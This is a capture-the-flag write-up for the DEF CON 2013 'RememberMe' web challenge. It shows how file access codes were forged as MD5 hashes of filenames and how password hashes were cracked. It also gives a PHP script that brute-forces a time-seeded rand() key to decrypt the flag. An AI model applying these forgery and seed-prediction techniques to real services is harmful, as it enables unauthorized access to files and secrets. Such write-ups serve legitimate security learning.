Writeup: DEF CON 2013 - RememberMe

Information

  • Category: web

Writeup

Challenge was available at http://rememberme.shallweplayaga.me where we found this page:

home

usernames.txt and passwords.txt links contained some strange URLs:

1
2
<a href="getfile.php?filename=usernames.txt&accesscode=60635c6862d44e8ac17dc5e144c66539">usernames.txt</a><br>
<a href="getfile.php?filename=passwords.txt&accesscode=60635c6862d44e8ac17dc5e144c66539">passwords.txt</a><br>

File access is controlled by a PHP script getfile.php.
Trying to access to those files directly from the browser gives a HTTP 403 Authorization error.

Clicking on usernames.txt link we can display the usernames:

usernamestxt

Instead, clicking on passwords.txt gives an access code error:

1
Invalid access code

Access code parameters in URL remember us a MD5 hash.

After few attempts we discovered that the hash access code was simply the MD5 hash of the filename.

This way we got access to passwords.txt with this URL:

http://rememberme.shallweplayaga.me/getfile.php?filename=passwords.txt&accesscode=b55dcb609a2ee6ea10518b5fd88c610e

There was some work for our friend John The Ripper!
So we launched it immediately.

Waiting for the answer from john we tried to access some other files and came out that, through getfile.php we were able to download these files:

1
2
3
4
5
6
usernames.txt
passwords.txt
the getfile.php itself!!!
key.txt
index.html
login.php

index.html is the page we saw at first.

login.php is the script that handle login and it is quite evil.
It display ACCESS DENIED! for every input received!

Here the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<title>Remember Me</title>
<?php
if ($_SERVER['REQUEST_METHOD'] == "POST") {
echo "<font color='red'> ACCESS DENIED!</font>";
}
?>
<body>
<form id='login' action='login.php' method='post' accept-charset='UTF-8'>
<fieldset >
<legend>Login</legend>
<label for='username' >UserName:</label>
<input type='text' name='username' id='username' maxlength="50" /><br>

<label for='password' >Password:</label>
<input type='password' name='password' id='password' maxlength="50" /><br>

<input type='submit' name='Submit' value='Submit' />
</fieldset>
</form>
</body>
</html>

And now we get to the key.txt file:

1
2
3
Acces granted to key.txt!

l8dR1btgp2MjcVIrHumK5yGFM8WZS2brjonxqj74vI+ggzY/XL72+Hku0zG/XzpXYxepGT1g135Yv/i5yIDCFw==

The content it is clearly base64 encoded but after the decoding we get some encrypted data.

Now become useful the access to getfile.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$value = time();
$filename = $_GET["filename"];
$accesscode = $_GET["accesscode"];
if (md5($filename) == $accesscode){
echo "Acces granted to $filename!

";
srand($value);
if (in_array($filename, array('getfile.php', 'index.html', 'key.txt', 'login.php', 'passwords.txt', 'usernames.txt'))==TRUE){
$data = file_get_contents($filename);
if ($data !== FALSE) {
if ($filename == "key.txt") {
$key = rand();
$cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);
echo base64_encode($cyphertext);
} else {
echo nl2br($data);
}
} else {
echo "File does not exist";
}
} else {
echo "File does not exist";
}

} else {
echo "Invalid access code";
}
?>

The code is quite simple and it is reversible!!!

We simply need to set the same seed to the srand()!

Here the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

error_reporting( E_ERROR );

date_default_timezone_set("UTC");
$time = time();
$keyTxt = file_get_contents('http://rememberme.shallweplayaga.me/getfile.php?filename=key.txt&accesscode=65c2a527098e1f7747eec58e1925b453');

//~ $keyTxt = file_get_contents('key.txt'); $time = 1371405420;

preg_match( '([\w+/=]{88})', $keyTxt, $b64 );
$data = base64_decode($b64[0]);

for( $i=-10; $i<30; $i++ ){
$ts = $time+$i;
echo "\rTrying {$ts}...";
srand($ts);
$key = rand();
$result = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);

if( preg_match( '/The key is:\s+([\w ]+)/', $result, $key ) ){
echo "\rKey FOUND: {$key[1]}".PHP_EOL;
exit;
}
}

And here it is the key!

Flag

1
Key FOUND: To boldly go where no one has gone before WMx8reNS